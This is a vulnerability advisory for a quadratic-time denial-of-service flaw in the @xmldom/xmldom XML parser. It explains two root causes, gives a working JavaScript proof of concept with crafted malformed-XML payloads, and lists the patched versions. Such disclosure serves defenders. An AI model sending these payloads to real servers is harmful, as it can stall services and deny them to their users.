CVE-2026-83614: @xmldom/xmldom Quadratic-Time Parsing ReDoS (DoS)
A crafted XML document of just tens of kilobytes can stall a Node.js server for multiple seconds because xmldom's error-recovery path and its normalize() call both do quadratic work on malformed…

The problem
Two independent O(n²) paths exist in @xmldom/xmldom 0.7.0 through 0.8.14 (and the 0.9.x line before 0.9.12).
First, in lib/sax.js, when parseElementStartPart encounters a malformed tag name containing an embedded <, it scans forward to the next > on every single-character recovery step. Each of the O(n) retries performs an O(n) forward scan plus an O(n) regex validation, giving O(n²) total parse time.
Second, in lib/dom.js, normalize() merges K adjacent text nodes by calling removeChild then appendData in a loop. removeChild re-indexes all siblings (O(K)) and appendData rebuilds the accumulated string (O(K)), so K merges cost O(K²). The parser triggers this automatically via endDocument, but any application that calls normalize() on a programmatically built DOM with adjacent text nodes hits the same cost path without any parsing at all.
Proof of concept
A working proof-of-concept for CVE-2026-83614 in @xmldom/xmldom, with the exact payload below.
const { DOMParser } = require('@xmldom/xmldom');
console.error = function () {}; // suppress recovery noise
function timeParse(label, xml, mime) {
const t0 = process.hrtime.bigint();
new DOMParser().parseFromString(xml, mime);
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log(label + ' bytes=' + Buffer.byteLength(xml) + ' time=' + ms.toFixed(1) + ' ms');
}
for (const N of [4000, 8000, 16000, 32000]) {
// Finding A: O(n^2) inside parseElementStartPart re-scan
timeParse('A N=' + N, '<r>' + 'a<'.repeat(N) + '</r>', 'text/xml');
// Finding B: O(K^2) inside normalize() via adjacent text-node merge
timeParse('B N=' + N, '<r>' + 'a<>'.repeat(N) + '</r>', 'text/html');
}
// Finding B via the public normalize() API (no parser)
const { DOMImplementation } = require('@xmldom/xmldom');
function timeNormalize(K) {
const doc = new DOMImplementation().createDocument(null, 'r', null);
const el = doc.documentElement;
for (let i = 0; i < K; i++) el.appendChild(doc.createTextNode('x'));
const t0 = process.hrtime.bigint();
doc.normalize();
const ms = Number(process.hrtime.bigint() - t0) / 1e6;
console.log('normalize K=' + K + ' time=' + ms.toFixed(1) + ' ms');
}
for (const K of [4000, 8000, 16000, 32000]) timeNormalize(K);Finding A: the patch makes parseElementStartPart terminate the tag-name scan immediately on an embedded < rather than continuing to the next >. This collapses the per-recovery O(n) scan to O(1), making overall parse-time linear.
Finding B: the patch rewrites the adjacent-text-node merge in normalize() to accumulate all sibling text data in a single pass and write it back once, replacing the old remove-then-append loop. This reduces the K-merge cost from O(K²) to O(K).
Both fixes are in the 0.8.15 patch commits (f40ccb8 for sax.js / dom.js). The release notes confirm DOM output is unchanged; only the error message text for the malformed-tag case differs, which is not a semver contract. CWE-407 (Inefficient Algorithmic Complexity) and CWE-400 (Uncontrolled Resource Consumption) both apply.
The fix
Update to @xmldom/xmldom 0.8.15 (0.8.x line) or 0.9.12 (0.9.x line). The legacy unscoped xmldom package has no fix and should be replaced. Patch commits: f40ccb861eee0acbf5ee4feb9a34932e87b329c9 (0.8.15) and 0748720b620555f8c222782dcab575cf0cf403b4 (0.9.12), via PRs #1071 and #1072.
Related research
- highCVE-2026-83619CVE-2026-83619: @xmldom/xmldom End-Tag Whitespace ReDoS
- highCVE-2026-83613CVE-2026-83613: @xmldom/xmldom Quadratic-Time Attribute Deduplication DoS
- highCVE-2026-83612CVE-2026-83612: @xmldom/xmldom HTML Raw-Text Closing-Tag Case Mismatch DoS
- highCVE-2026-83606CVE-2026-83606: @xmldom/xmldom Processing Instruction ReDoS